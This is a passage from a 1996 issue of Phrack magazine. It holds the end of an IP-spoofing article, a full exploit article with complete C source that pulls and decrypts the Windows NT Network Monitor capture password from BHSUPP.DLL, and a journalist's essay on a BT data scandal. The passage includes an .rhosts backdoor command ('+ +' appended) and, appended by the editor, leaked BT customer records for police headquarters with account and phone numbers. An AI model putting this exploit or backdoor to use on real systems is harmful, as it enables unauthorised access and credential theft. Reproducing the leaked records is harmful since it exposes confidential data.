Generally, after compromise, the attacker will insert a
backdoor into the system that will allow a simpler way of intrusion.
(Often a `cat + + >> ~/.rhosts` is done. This is a good idea for
several reasons: it is quick, allows for simple re-entry, and is not
interactive. Remember the attacker cannot see any traffic coming from
the target, so any reponses are sent off into oblivion.)
--[ Why it Works ]--
IP-Spoofing works because trusted services only rely on
network address based authentication. Since IP is easily duped,
address forgery is not difficult. The hardest part of the attck is
in the sequence number prediction, because that is where the guesswork
comes into play. Reduce unknowns and guesswork to a minimum, and
the attack has a better chance of suceeding. Even a machine that
wraps all it's incoming TCP bound connections with Wietse Venema's TCP
wrappers, is still vulnerable to the attack. TCP wrappers rely on a
hostname or an IP address for authentication...
[SECTION III. PREVENTITIVE MEASURES]
...A stich in time, saves nine...
--[ Be Un-trusting and Un-trustworthy ]--
One easy solution to prevent this attack is not to rely
on address-based authentication. Disable all the r* commands,
remove all .rhosts files and empty out the /etc/hosts.equiv file.
This will force all users to use other means of remote access
(telnet, ssh, skey, etc).
--[ Packet Filtering ]--
If your site has a direct connect to the Internet, you
can use your router to help you out. First make sure only hosts
on your internal LAN can particpate in trust-relationships (no
internal host should trust a host outside the LAN). Then simply
filter out *all* traffic from the outside (the Internet) that
puports to come from the inside (the LAN).
--[ Cryptographic Methods ]--
An obvious method to deter IP-spoofing is to require
all network traffic to be encrypted and/or authenticated. While
several solutions exist, it will be a while before such measures are
deployed as defacto standards.
--[ Initial Sequence Number Randomizing ]--
Since the sequence numbers are not choosen randomly (or
incremented randomly) this attack works. Bellovin describes a
fix for TCP that involves partitioning the sequence number space.
Each connection would have it's own seperate sequence number space.
The sequence numbers would still be incremented as before, however,
there would be no obvious or implied relationship between the
numbering in these spaces. Suggested is the following formula:
ISN=M+F(localhost,localport,remotehost,remoteport)
Where M is the 4 microsecond timer and F is a cryptographic hash.
F must not be computable from the outside or the attacker could
still guess sequence numbers. Bellovin suggests F be a hash of
the connection-id and a secret vector (a random number, or a host
related secret combined with the machine's boot time).
[SECTION IV. SOURCES]
-Books: TCP/IP Illustrated vols. I, II & III
-RFCs: 793, 1825, 1948
-People: Richard W. Stevens, and the users of the
Information Nexus for proofreading
-Sourcecode: rbone, mendax, SYNflood
This paper made possible by a grant from the Guild Corporation.
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 15 of 18
Windows NT Network Monitor Exploitation
NetMon Encryption Hammer
by the AON and Route
for Phrack Magazine
May 1996 Guild productions, kid
comments to daemon9@netcom.com
Full exploit including binary dll's and execuatables:
ftp.infonexus.com/pub/TooldOfTheTrade/Windows/NT/netMonExploit.tgz
[The intro]
The Microsoft Network Monitor is a packet sniffer that runs under NT.
It is a very robust and versatile packet sniffer, offering much more then
simple ethernet frame capturing. It packs a robust capture/display filter
language, powerful protocol parsers, and one snappy GUI. NetMon is
delivered as part of the SMS package. The user portion of the program
calls upon the services of the Network Monitor Agent, which is a kernel driver
that ships with NT (3.5.x for sure, but I don't know about 3.1). The Network
Monitor Agent also provides an interface for a remote machine to connect and
capture local data, provided it passes authentication. To restrict access,
Network Monitor Agent utilizes a password authentication scheme. Access has
two tiers: priviledge to view previously captured sessions, and priviledge to
actually use the sniffer to place the ethernet card in promiscuous mode. The
acutal encrypted password is stored as a 32-byte binary string in a
dynamically linked library file called BHSUPP.DLL. We have written code to
extract this password from the dll and decyrpt it; we have broken the
Microsoft Network Monitor password authentication system.
[The low-down]
The encrypted string is kept as binary data in:
%SystemRoot%\system32\BHSUPP.DLL (in a default installation at least).
BHSUPP.DLL is known to be different sizes between versions, so we cannot look
for the encrypted string at a specific offset each time. Instead we must
search for a flag, and seek 32-bytes past this flag. The flag is the 16-byte
string: "RTSS&G--BEGIN--". (As a matter of note, there is a terminating
footer also: "RTSS&G--END--".)
[The encrypted truth]
It is a simple encryption function, that takes random length string
and returns 256-bit encrypted output. It may appear to be a hash, rather
than a block cipher, but it is not. It does take a random length input,
and produce a fixed output, but the input is always padded to 32-bytes
(with nulls if necessary). The input to the function is a user defined
arbitrary string. The input is truncated to 16 bytes and then to pad
out the array, the whole original password string is concatenated on the
truncated version, starting at the 16th byte. It doesn't matter if the
resulting string is longer than 32 bytes, as the cipher ignores anything
past the 32nd byte. So: "loveKillsTheDemon" becomes: "loveKillsTheDemo"
and then: "loveKillsTheDemoloveKillsTheDemon". If your password is
smaller than 16 bytes, we get the 'hole-in-password' phenomena. Since
the array is intialized will nulls, and the password is still folded over to
the 16th byte, these nulls remain. This is easily visible from the first line
of output in our exploit code. It also accepts empty password strings
readily, without choking, which all Microsoft products seem willing to do all
to easily.
[The algorithm]
The 32-byte string is put through 32 rounds of identical operations.
The outer for loop controls the value of the byte to be XORed with the
entire array that round (except for itself, see below). The inner loop steps
through the entire byte array. Each byte is permuted a total of 31 times
(The discrepency comes from the test case where i must not be equal to j in
order for a character to be permuted. It would make no sense to XOR a byte
with itself). So, there are a total of 992 operations. The actual
encryption algorithm is quite simple:
In C: if(i!=j)mix[j]^=mix[i]+(i^j)+j;
In English: if i is NOT equal to j, the j indexed char of mix is
assigned the value of the j indexed char of mix XORed
with the i indexed char of mix PLUS i XORed with j
PLUS j.
Mathematically: 1) i ^ j = k
2) k + j = l
3) l + mix[i] = m
4) m ^ mix[j] = x
OR
((i ^ j) + j + mix[i]) ^ mix[j] = x
The methods used for obscurity are exclusive OR (XOR) and binary
addition, (see the appendix if you are umfamiliar with these bitwise
operations) with completely known vectors. The only unknown in the whole
equation is the user entered password, fleshed out to 32-bytes. These 32
bytes are taken through 32 rounds of permutations. Simple and concise,
with no key material dropped, this algorithm is not lossy. Since it is not
lossy it is 100% reversible, both in theory and practice. In fact, since we
know the values of the counters i and j, throughout the entire encryption
process, decryption is simply a matter of reproducing these values in the
proper order. Since the output of the encryption process is the input,
taken through 32 rounds of identical permutations, with known vectors,
we simply need to reverse this process.
[The code]
There are two versions of the exploit available. A Windows NT version
and, for those of you without access to an expensive NT-native compiler,
there is a Unix version as well. The NT version is a console-based app, as
GUI code would be a waste of time. The full package of this exploit, along
with an NT exexcutable and sample DLL's is available from:
ftp.infonexus.com/pub/ToolsOfTheTrade/Windows/NT/netMonExploit.tgz
[The discussion]
The ramifications of this weak encryption in Network Monitor Agent are
many. First off, the developers of Network Monitor Agent *didn't* use the
standard security mechanisms of Windows NT. This may be because the driver is
a kernel mode driver, and in NT the kernel is a trusted enity, therefore
the standard security API (of Win32) does not apply in the kernel making it
harder to do user authentication. It also appears that they were trying to
achieve a mechanism based not on priviledge, but on knowledge. It is very
likely that in secured environment not all administrators should be able to
sniff the network. The problem is they did a *poor* job of securing a
powerful utility.
The most straight forward attack is use Network Monitor to sniff the
network (where you weren't suppose to be able to) for priviledged user data or
passwords in a heterogeneous environment (since native NT networking does not
send password information in the clear, but standard TCP traffic from Unix
is sent clear). The rest of the attacks would come from shabby administration
, such as the administrator used the password for the admin account and the
capture password in Network Monitor Agent (stupid, but likely) or the
same password for Network Monitor Agent on all machines across the network.
In order to use the exploit utility, one must have read priviledge for
BHSUPP.DLL which is installed into %SystemRoot%\system32 by default. This
is not a remote attack, but rather a stepping stone to gain priviledged
information when one is under-priviledged.
[The moral]
Time and time again we see either shody implementations of trusted
algorithms, or, like in this case, just plain bad cryptography. Under ITAR,
most secure cryptographic algorithms are classified as munitions, and are not
exportable from this country. The funny thing is, under current law, one-way
hashing functions are *not* restricted (that is why all Unix variants can ship
with the standard crypt(3) libraries and executables). This authentication
scheme could have *easily* been replaced by MD5, the same one-way hash used
by PGP. At least then, the complexity of an attack would be increased to
a brute-force known-plaintext sweep of key values...
[The appendix]
For the binary-declined...
Exclusive OR
The XOR operation is a bitwise operation with the following truth table:
XOR| 1 | 0 | The Exclusive OR operation simply says:
------------- "...Hmmm, if I have a 1 and a 0, I'll spit
1 | 0 | 1 | out a 1. Anything else, a 0..."
-------------
0 | 1 | 0 |
Binary addition
Binary addition is analogous to base10 addition. However, each place holds
2^n instead of 10^n...
add| 1 | 0 | base10: base2:
------------- 11 1011
1 |1 0| 1 | + 5 + 0101
------------- --- ------
0 | 1 | 0 | 16 10000
This exploit made possbile by a grant from the Guild corporation.
- May 07, 1996 route/aon
[The Sourcecode]
[Unix Version]
/*
Network Monitor Exploitation code, Unix version
coded by daemon9
The Guild, 1996
*/
#include<string.h>
#include<stdio.h>
#include<fcntl.h>
#define fbufsize 8192
#define flag "RTSS&G--BEGIN--"
#define VERSION "Unix version\n"
#define BUFSIZE 48
#define DLLNAME "./BHSUPP.DLL"
int main()
{
char *swirl(char *,int);
char *recover(char *);
void hexonx(char *);
char werd[]={"\n\n\n\n.this code made possible by a grant from the Guild corporation.\n\0"};
char *plain,*tmp,*fname,*encrypted;
int c;
printf(werd);
printf("\nNetMon Password Decryption Engine ");
printf(VERSION);
printf("\t1.\t\tEncrypt a plaintext password from STDIN.\n");
printf("\t2.\t\tDecrypt a plaintext password from the dll.\n");
tmp=(char *)malloc(10); /* Can't switch getchar() as it locks the */
bzero(tmp,10); /* fucking stream and makes futher I/O buggy*/
switch(atoi(gets(tmp))){
case 1:
printf("Enter password to be encrypted (note echo is on, as it would be a moot point\nto turn it off)\n->");
plain=(char *)malloc(BUFSIZE);
bzero(plain,sizeof(BUFSIZE));
gets(plain);
hexonx(swirl(plain,0));
break;
case 2:
printf("Enter name and path of DLL [./BHSUPP.DLL]:");
fname=(char *)malloc(BUFSIZE);
bzero(fname,sizeof(BUFSIZE));
gets(fname);
if(fname[0]==0)strcpy(fname,DLLNAME);
if(!(encrypted=recover(fname))){
printf("Could not locate flag\n");
exit(1);
}
hexonx(swirl(encrypted,1));
break;
default:
printf("\nFine.\n");
exit(0);
}
return 0;
}
/*
swirl is the encryption/decryption function. It takes an arbitrary length
string and, depending on the value of the mode variable, encrypts it or
decrypts it. It returns a pointer to the string.
*/
char *swirl(byteStr,mode)
char *byteStr;
int mode;
{
int i=0,j=0;
char *mix,roundAndround[32][32];
void hexonx(char *);
mix=(char *)malloc(sizeof(byteStr));
if(!mode){
memset(mix,0,32); /* set 32 bytes of memory to 0 */
strncpy(mix,byteStr,16); /* copy the first 16 bytes of the password into the mix*/
memcpy(&mix[16],byteStr,strlen(byteStr)); /* copy password into the 16th char of the mix; if mix and plain overlap, problems occur */
printf("Password upon entering encryption rounds:\n");
hexonx(mix);
printf("\n\nbeginning 32 rounds of 'encryption'\n");
for(i=0;i<32;i++)for(j=0;j<32;j++)if(i!=j){
mix[j]^=mix[i]+(i^j)+j; /* Sekret Enkripsion occurs here... */
memcpy(&roundAndround[i][0],mix,32); /* save a copy of each round */
}
printf("\nDo you wish to view the encryption process round by round?[y]");
switch(toupper(getchar())){
case 'N':
break;
case 'Y':
default:
for(i=0;i<32;i++){
printf("round %d:\n",i+1); /* print the rounds out in hex */
hexonx(&roundAndround[i][0]);
getc(stdin);
}
}
printf("\nEncrypted output:\n");
return(mix);
}
if(mode){
strncpy(mix,byteStr,32);
for(i=31;i>=0;i--)for(j=31;j>=0;j--)if(i!=j)mix[j]^=mix[i]+(i^j)+j;
mix[32]=0;
printf("\n\n\nThe plaintext is: %s\nIn hex:\n",mix);
return(mix);
}
}
/*
hexonx simply prints out 32 bytes of hexidecimal characters.
*/
void hexonx(byteStr)
char *byteStr;
{
int i=0;
for(;i<32;i++)printf("0x%x ",byteStr[i]);
printf("\n");
}
/*
recover attempts to read the encrypted string from the dll
*/
char *recover(fname)
char *fname;
{
char buffer[fbufsize],*pass;
int fd,i=0,j=0,demonFlag=0,offset,bufOffset=0;
if((fd=open(fname,O_RDONLY))<=0){
fprintf(stderr,"Cannot open %s\n",fname);
exit(1);
}
while(read(fd,buffer,8192)){
i=0;
while(i<fbufsize&&!demonFlag){
switch(buffer[i-4]){
case 'R':
if(buffer[i-3]=='T'&&buffer[i-2]=='S'&&buffer[i-1]=='S'&&buffer[i+1]=='G'&&buffer[i+2]=='-'&&buffer[i+3]=='-'&&buffer[i+4]=='B'&&buffer[i+5]=='E'&&buffer[i+6]=='G'&&buffer[i+7]=='I'&&buffer[i+8]=='N'&&buffer[i+9]=='-'&&buffer[i+10]=='-'){
demonFlag++;
bufOffset=i;
/* Password is 32 bytes past end of header */ offset=j-4;
printf("Encrypted Token Flag: '%s' located at offset 0x%x\n",flag,offset);
printf("Encrypted password should be located at offset 0x%x\n",offset+48);
}
break;
default:
}
i++;
j++;
}
if(demonFlag)break;
}
if(!offset)return(0);
pass=(char *)malloc(BUFSIZE);
bzero(pass,32);
memcpy(pass,&buffer[bufOffset-4+48],32);
printf("\nDo you wish to view the encrypted password?[y]");
switch(toupper(getchar())){
case 'N':
break;
case 'Y':
default:
hexonx(pass);
getc(stdin);
}
return(pass);
}
[The Sourcecode]
[NT Version]
// A Guild Production 1996 //
// Constructed by AON //
#define STRICT
#define MAX_FILE_SIZE 24576 //if BHSUPP.DLL grows, so must this
#include <windows.h>
#include <stdio.h>
void DecryptPassword(LPBYTE lpEncryptedPassword, LPSTR lpszPlaintextPassword);
BOOL GetEncryptedPassword(HANDLE hTargetFile, LPBYTE lpEncryptedPassword);
void GetTargetFileFromUser(HANDLE* phTargetFile, LPSTR lpszTargetFile);
HANDLE g_hStdIn, g_hStdOut; //global declaration of StandardIN and OUT
// This is a console app. ReadFile and WriteFile used throughout so StdIN and StdOUT
// can be redirected.
void main(int argc, char* argv[])
{
HANDLE hTargetFile;
BYTE lpEncryptedPassword[32];
char lpszPlaintextPassword[17] = {0};
char lpszOutputBuffer[80];
char lpszTargetFile[MAX_PATH] = {0};
char lpszUsage[] = "\nUsage: NMCrack [path to BHSUPP.DLL including filename]\n";
LPTSTR lpszSystemDirectory = NULL;
UINT nCount, nCount2;
//set global handles
g_hStdIn = GetStdHandle(STD_INPUT_HANDLE);
g_hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
//check for standard NT help switch
if(argc > 1 && argv[1][0] == '/' && argv[1][1] == '?')
{
//display usage info
WriteFile(g_hStdOut, lpszUsage, sizeof(lpszUsage), &nCount, NULL);
//exit with success
ExitProcess(0L);
}
//if path and file name not specified on commandline try system directory first, because
//BHSUPP.DLL is probably there
if(argc == 1)
{
//findout how long path is for mem alloc
nCount = GetSystemDirectory(lpszSystemDirectory, 0);
//do alloc of that size
lpszSystemDirectory = malloc(nCount);
if(lpszSystemDirectory == NULL)
{
WriteFile(g_hStdOut, "Memory Allocation Failure - Terminating\n",
41, &nCount, NULL);
ExitProcess(1L);
}
//get system dir
GetSystemDirectory(lpszSystemDirectory, nCount);
//append file name to system directory
sprintf(lpszTargetFile, "%s\\bhsupp.dll", lpszSystemDirectory);
//release memory
free(lpszSystemDirectory);
}
else
{
//get the commandline input
strcpy(lpszTargetFile, argv[1]);
}
//try to open BHSUPP.DLL in the system dir or where the user instructed
hTargetFile = CreateFile(lpszTargetFile, GENERIC_READ, FILE_SHARE_READ |
FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
FILE_FLAG_SEQUENTIAL_SCAN, NULL);
//if not on the commandline or in the system dir ask user for path
if(hTargetFile == INVALID_HANDLE_VALUE && argc == 1)
{
GetTargetFileFromUser(&hTargetFile, lpszTargetFile);
}
//user gave bad path or they don't have read permission on the file
else if(hTargetFile == INVALID_HANDLE_VALUE)
{
//make error string because file open failed
nCount2 = sprintf(lpszOutputBuffer, "\nUnable to open %s\n", lpszTargetFile);
//write out
WriteFile(g_hStdOut, lpszOutputBuffer, nCount2, &nCount, NULL);
//exit with failure
ExitProcess(1L);
}
//retrieve the encrypted password from BHSUPP.DLL
if(!GetEncryptedPassword(hTargetFile, lpEncryptedPassword))
{
WriteFile(g_hStdOut, "Unable to retrieve encrypted password\n",
39, &nCount, NULL);
ExitProcess(1L);
}
//cleanup handle
CloseHandle(hTargetFile);
//do the decryption here
DecryptPassword(lpEncryptedPassword, lpszPlaintextPassword);
//prepare for and print out results
nCount2 = sprintf(lpszOutputBuffer,
"\nThe Network Monitor Agent capture password is %s\n",
lpszPlaintextPassword);
WriteFile(g_hStdOut, lpszOutputBuffer, nCount2, &nCount, NULL);
//close StandardIN and StandardOUT handles
CloseHandle(g_hStdIn);
CloseHandle(g_hStdOut);
//exit with success
ExitProcess(0L);
}
//Ah yeah, here it is.
void DecryptPassword(LPBYTE lpEncryptedPassword, LPSTR lpszPlaintextPassword)
{
register int outer, inner;
//go backwards through loops to undo XOR
for ( outer = 31; outer >= 0; outer-- )
{
for ( inner = 31; inner >= 0; inner-- )
{
if ( outer != inner )
{
lpEncryptedPassword[inner] ^= lpEncryptedPassword[outer] +
(outer ^ inner) + inner;
}
}
}
//since the original password was folded to fill 32 bytes only copy the first 16 bytes
memcpy(lpszPlaintextPassword, lpEncryptedPassword, 16);
//zero terminate this baby just incase it is actually a 16 byte password (yeah, right!)
lpszPlaintextPassword[16] = 0L;
return;
}
// get the path and file name for BHSUPP.DLL from the user in the case that it was
// a custom install
void GetTargetFileFromUser(HANDLE* phTargetFile, LPSTR lpszTargetFile)
{
char lpszPrompt[] = "\nFull path to BHSUPP.DLL including file name: ";
UINT nCount;
WriteFile(g_hStdOut, lpszPrompt, sizeof(lpszPrompt), &nCount, NULL);
ReadFile(g_hStdIn, lpszTargetFile, MAX_PATH, &nCount, NULL);
//I had to account for the CR + LF that ReadFile counts in the nCount return value,
//so I can zero terminate this string.
lpszTargetFile[nCount - 2] = 0L;
*phTargetFile = CreateFile(lpszTargetFile, GENERIC_READ, FILE_SHARE_READ |
FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
FILE_FLAG_SEQUENTIAL_SCAN, NULL);
//too lazy to make the error message report the actual path and file name tried
if(*phTargetFile == INVALID_HANDLE_VALUE)
{
WriteFile(g_hStdOut, "Unable to open BHSUPP.DLL\n",
26, &nCount, NULL);
ExitProcess(1L);
}
}
// This function allocs one big buffer and reads the whole damn DLL into it.
// There is a flag string that marks the start of the section that contains the
// encrypted passwords (in the case that there is a display password too), so
// we search for the first and last characters in the string. If we hit on a match
// we check about 50% of the chars in the string for a match. This is a good
// enough check based looking at the data. I guess I could optimize memory usage
// here too, but 24K is not very much these days, so fuck it.
BOOL GetEncryptedPassword(HANDLE hTargetFile, LPBYTE lpEncryptedPassword)
{
LPBYTE lpSearchBuffer;
UINT nCount, i;
//do the big buffer alloc
lpSearchBuffer = malloc(MAX_FILE_SIZE);
if(lpSearchBuffer == NULL)
{
WriteFile(g_hStdOut, "Memory Allocation Failure - Terminating\n",
41, &nCount, NULL);
ExitProcess(1L);
}
//read in the entire file. It is small enough that this takes trivial time to complete.
ReadFile(hTargetFile, lpSearchBuffer, MAX_FILE_SIZE, &nCount, NULL);
//do search for RTSS&G--BEGIN-- When it is found move 48 bytes past the R and copy
//the encrypted password into the workspace
for(i=0; i<nCount; i++)
{
if(lpSearchBuffer[i] == 'R' && lpSearchBuffer[i+14] == '-')
{
if(lpSearchBuffer[i+1] == 'T' && lpSearchBuffer[i+2] == 'S' &&
lpSearchBuffer[i+3] == 'S' && lpSearchBuffer[i+4] == '&' &&
lpSearchBuffer[i+8] == 'B')
{
//found password and coping it into the workspace
memcpy(lpEncryptedPassword, &lpSearchBuffer[i+48], 32);
//cleanup the mem alloc
free(lpSearchBuffer);
//return with success
return TRUE;
}
}
}
//cleanup
free(lpSearchBuffer);
//it failed to find the marker string
return FALSE;
}
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 16 of 18
THE TRUTH, THE WHOLE TRUTH AND NOTHING BUT THE TRUTH-
-a story of the 'BT-Hacker' scandal.
By Steve Fleming
Sitting in a chilly university computer department in northern England
was in itself exhilarating. The mid-February climate made it cold; my
head was buzzing with voices chatting freely about gaining access to
secret computers, acquiring free telephone calls and how to fashion
'bombs' to maim or kill lecturers and 'Senior Vice Principles'. There
was nobody else in the room, all the company was just under a meter from
me in CyberSpace, that alternative universe where anything is possible
and everyone is somebody they want to be. The stories were
extraordinary - in fact they were incredible, an eclectic mix of fact
and fantasy bound together by expert social engineering.
These CyberSpace 'cafes' are the BBS' - Bulletin Board Services - and
are the stock-in-trade of the electronic community. The Internet is
connected to some of them, but the best ones, the ones with the best
chat and the most exciting files are not - you get the dial-in number
from another user, and have to then beg to use the service. It is
interesting to note that the Internet has now become a generic term for
on-line communication and suffers as a result of its inappropriate use.
Blaming the Internet for anything is like apportioning culpability to
'society' - fine for academics but otherwise a shallow construct.
I have known some computer experts in my time, and still some 'reformed
hackers' count as my best friends - I really wanted to find out if a
major British computer could be hacked or if it had been done. The UK
has some of the most draconian secrecy laws anywhere on the planet, so
if secrets are found, they tend to be kept secret. When people start
talking in CyberSpace, they really talk and talk and talk. Their voice
has no tone or volume, no emotion or mood - it can be like talking with
a form of electronic psychopath sometimes. But there are inventive
ideas 'on-line', and sometimes you can SHOUT, but this is quite rude,
mostly pictorial punctuation (the smiley) is the key. You can indicate
a smile :-) or a frown {:-( and you can even indicate sarcasm ;-) with
a sly wink. It's interesting to note that irony is not really a north
American thing at all; sarcasm is a CyberSpace thing. I wouldn't say
that I am an expert, I wouldn't even say that I was very good with
computers, I'm always learning. My qualifications are in science;
Biology and Psychology, not computing. What this gives me is an urge to
investigate assuming a null hypothesis - I disprove things in short.
It's funny to think that most of the press followed a placed PR line
that I must be a '... twisted computer boffin who had broken into an
'...entirely robust...' computer system'. And my, did that title stick
- friends from Hong Kong to Turkey called to say I was a computer expert
all over the world! This was very effective and obviously placed by
someone with powerful influence, perhaps advertising influence? It
doesn't really matter, bad journalism is all over and we all have a
living to earn - I however, would never do it at the expense of a
colleague.
There was the vision of news editors screaming, "... get me some
secrets!" - they simply couldn't believe that a freelance with only a
few published pieces could have brought in such an impressive story with
a scandal at every level - so they capitulated with the 'boffin' lie and
went back to boring, standard, sloppy 'background' on this 'hacker'. It
was actually a bit of a personal tragedy, my on-line persona was
cracked, there wasn't very much in my life at all, quite a boring person
really; like most journalists who spend a lot of time observing rather
than doing. The Today newspaper had some hot tip-off's from people I'd
interviewed in the past, one man in particular who had lied in a silky
and attractive way for two and a half hours had been doing the same to
them. The fact that I wrote for a 'gay magazine'. Shock horror, a
definite Philby, Burgess & McLean story breaking. What a bit of
investigate journalism that wasn't, I wrote under my own name! Was he a
spy, was he working for Libya, Israel, MI-6, MI-5, the Labour Party,
Duncan Campbell, Richard Gott... and then there was the 'shit-bagging'.
This happens when tardy investigators are ignorant of the facts,
automatically they assume it should be them who had the story, if only
they'd had the time. But this is all history now, and I forgive them
all... but I never forget.
How could a temporary member of staff see all this secret information?
The list forming in the mind of the press (and I do think in situations
like these one surprisingly tiny mind) went something like this:
1. They aren't secrets at all.
2. BT would know if anyone had looked at the secret stuff, so
they'll catch the whistle-blower; probably working for computer
security within BT.
3. Fleming is a computer expert, he's hacked the system and is
spinning a story to prevent him being found out - and he's not a
'real' journalist and we are.
Well, there was clear evidence that the stuff was very sensitive, so
strike number 1 from the list. How could they wait for stage two, if it
is the case it may take days or weeks, so they couldn't have that -
anyway the Independent had shown it could be done away in time or place
of Fleming. The only option was; who's there, who'll talk, and how can
we retain credibility as journalists - repudiate the freelance!
There was no shortage of shit-bag material; 'various anonymous
sources... unconfirmed reports... it seems likely etc.' Some even
fancied the idea that the details were shocking, but lets just do it all
ourselves and dump on Fleming from a great height? It really was like
being on a maggot farm, wading through pen after pen of repulsive,
brainless, panicked... maggots.
The truth is that there was no great skill involved in cracking BT's
computer, it was so easy my pet parrot could have done it with only one
claw. Many companies are confused about computer security and what it
means. The sharp young suits talk about 'magneto-optical storage
facilities' and 'EPROM or WORM access'. The captains of industry nod
sagely, they run the ship and leave the deck scrubbing to junior
officers. These proud, self important and generally thick as two short
planks when it comes to computers men, authorise huge budgets for the
whiz-kids who play with the money, buy new things, install new software,
'patch' the operating system, attach ISDN cards, issue user ID's after
extensive family checks. You name it, and these guys do it, and they
love it. They install password checkers that look for hackers (or
errors) and disconnect users for 15 minutes if they get their passwords
wrong three times. The captains of industry still discuss 'wireless'
and 'word processors'. The bright young men should be allowed to deal
with all the computer stuff, it's not that the captains can't understand
it or anything like that, they just don't have the time.
Staff who have to work the systems couldn't care less about the
'advanced software engineering' that went into the system. There is as
much 'social engineering' as any other sort when it comes to computers
for industry. So they have to remember passwords that change regularly
and they have to remember to get that report done, and see the boss and
train the new staff and type that letter and claim those expenses and
design that form and... it's a lot to remember. When folk have a lot to
remember they make lists, and those lists include passwords - sounds
like an opportunuty for 'trashing'. They simply look through the
rubbish and see what they can see. Sometimes someone writes down a
password on a post-it note to let someone into their computer for some
reason, that person enters the password and makes a note in their diary
of it and pops the sticky in the bin. Then, in these busy offices,
staffing levels are being cut. The managers need a dozen staff, and
have four. They are allowed to contract from a temp agency and top up
the office. These people are often unemployed graduates. Clever, but
very, very bored. They don't get paid much, 4.00 an hour. That's what
I was paid to write a nationwide database suite for BT but there I have
to stop, the gag is cutting into me. They just want a decent job, and
try to impress in case they get offered one, and the companies play on
this and exploit without mercy. 4.00 an hour and they want unbridled
enthusiasm, ideas, loyalty, commitment - who are they trying to kid!
The computer administrators say they can't give temporary access to the
system, '... it can't be done.' Well what do you suggest? 'You'll just
have to make do, it's the system, can't help, sorry.' You need a dozen
workers, perhaps 6 need to be on the system, you have 5 passwords plus
another of the departmental manager making six. Why not let the temps
use these passwords and you can get on with the more important stuff,
can't be any harm in that? It's not as if we're using them? However,
temps are just that, temporary - they move on. Consequently with all
the changes you make up a folder with all the passwords and then they
can just flick through that to find a password, it doesn't seem all that
insecure does it?
And there we have it, passwords being shared, passed, written down,
typed in and shouted across the office. You can forget about any notion
of security, the moment you take that step the whole system is
pointless, you may as well print out all the secret information and sell
it in Dillons - it would certainly make the phone book a best seller!
Better still if the marketer's got what they wanted, put it on CD-ROM
and charge a fortune for it at christmas;
The Multimedia Secrets Collection, 199.95!
The ideal christmas gift for the spy in your life. Includes music from
around the world. BT, it's good to talk! NB it may be an offence to
talk to anybody about this.
Now you see why BT are keen to quell this espial, they know the
situation, but don't want it publicised, it's very embarrassing for
goodness sake - they have a contract to advise the government on
computer security! Frankly, I couldn't care less if some BT mandarin
gets a red face, it is no concern of mine. What is, is the fact that
these secrets are not encrypted and are broadcast around the country on
computers and are available to just about anyone who cares to look at
it. The only warning displayed was 'Unauthorised access is an offence
under the Computer Misuse Act (1990)' - but this access isn't
unauthorised, is it? This notion of 'confidential' is a joke. BT's
computers happily broadcast your ex-directory telephone number (and soon
your name) down the line unless you make the choice to prevent it. What
is confidential about that? The public interest is of prime importance
here. The scandalous intimition in my legal gag is that I am risking
national security? Me! Well I have a lot to say about that, it's not
me that allows any old temp to see secrets, and I have never printed a
single telephone number or details of any equipment, unlike some
respected others. I brought the fact this could be done to light in a
responsible journalistic manner.
If I was such an expert, the intelligence service would have snapped me
up immediately, BT would have paid me off and the government could have
avoided embarrassment. But I'm not, I'm a journalist. The Independent
published this story and I have respect for them, they took a risk and
then wanted to distance themselves from me, which I understand. It was
however a lonely, cold and frightening experience which is not yet over.
The governments of these lands talk big about how the information
superhighway will change all our lives, and how committed they are to
servicing this new form of infrastructure leading to a new, fresh and
exciting dimension - but they also punish, abuse, prosecute, imprison
and destroy the lives of the people who may be far better able to
exploit their ignorance and expose the sensitive underbelly of their
power - their information. If you ask me, the old guys will make
CyberSpace just as ugly and corrupt as the society they have already
spawned, nurtured and set on a path of destruction out here. I for one
don't want or need their advice, support or money - let them lay in the
bed they have made, I'll stay in CyberSpace.
------------------------------------------------------------------------------
- Related Info Appended by the Editor -
DCS DISPLAY CUSTOMER SUMMARY ??/??/?? 11:41
Name : THE CHIEF CONSTABLE Telephone No : 031-315 2007 NQR
Account No : 8077 0366
Address: LOTHIAN & BORDERS POLICE Customer Type: BUSINESS VOLUME
POLICE HEADQUARTERS Installations: 1
5 FETTES AVE
EDINBURGH LINE DETAILS
EH4 1RB Installed : 26/08/88
Line Status : B/W
Curr State :
Inst Class'n : BUS SINGLE EXCL
ORDER Exchange Type: TXDX03
RECEPTION MARKER Recent Order : YES
Contr Signed : BILLING
REPAIR CONSENT Method of Pay: ORDINARY ACCOUNT
: NO Systems Bus : C A/C U/Enquiry: NO
Servicecare : NO Sup Serv Bus : D D/M Case : NO
O/S fault : NO Cust Options : STANDARD VRUF
Hist fault : NO OSC Ind : NO
Hazard : CUSTOMER CONTACTS
Warning : Issue : NO Notes : YES
BRDCST MANAGERS USING NJR-PLEASE DNB"NJRNEWS" FOR UPDATE ON CALLOUT PROBLEM ES
4A_ O-O
DCRD PRODUCT TARIFF DETAILS ??/??/?? 11:41
Exchange Name : DEAN Tel No : 031-315 2007 NQR
Installed : 26/08/88 a/c No : 8077 0366
Inst Class'n : BUS SINGLE EXCL Notes : YES S/S No :
QTY PROD ID SHORT DESC or MSC / CP NOTE TARIFF:RATE TOTAL
1 A14499 C EXCH LINE + LINEBOX 32.66 32.66
*
1 A10117 C BASIC DIAL PHONE 4.70 4.70
*
1 A12481 C PRIVACY SET NO 8 51.75 51.75
*
TARIFF GRAND TOTAL : 89.11
ES
4A_ O-O
DIN DISPLAY NOTE DETAILS ??/??/?? 11:41
Installation : THE CHIEF CONSTABLE Tel no : 031-315 2007 NQR
Name
WRITTEN < AUTHOR > EXPIRES
8/ 2/94 JOSEPHINE/8813 8/ 2/95
A/.D LTR SENT FOR 0506843235,0313322106
0506881101 AND 0313152007
DCS DISPLAY CUSTOMER SUMMARY ??/??/?? 11:43
Name : LOTHIAN & BORDERS POLICE Telephone No : 031-332 2106 NQR
Account No : 8076 9640
Address: POLICE HEADQUARTERS Customer Type: PAYPHONE BUS
5 FETTES AVE Installations: 1
EDINBURGH
EH4 1RB LINE DETAILS
Installed : 04/10/83
Line Status : B/W
Curr State :
Inst Class'n : BUS PAYPHONE
ORDER Exchange Type: TXDX03
RECEPTION MARKER Recent Order : NO
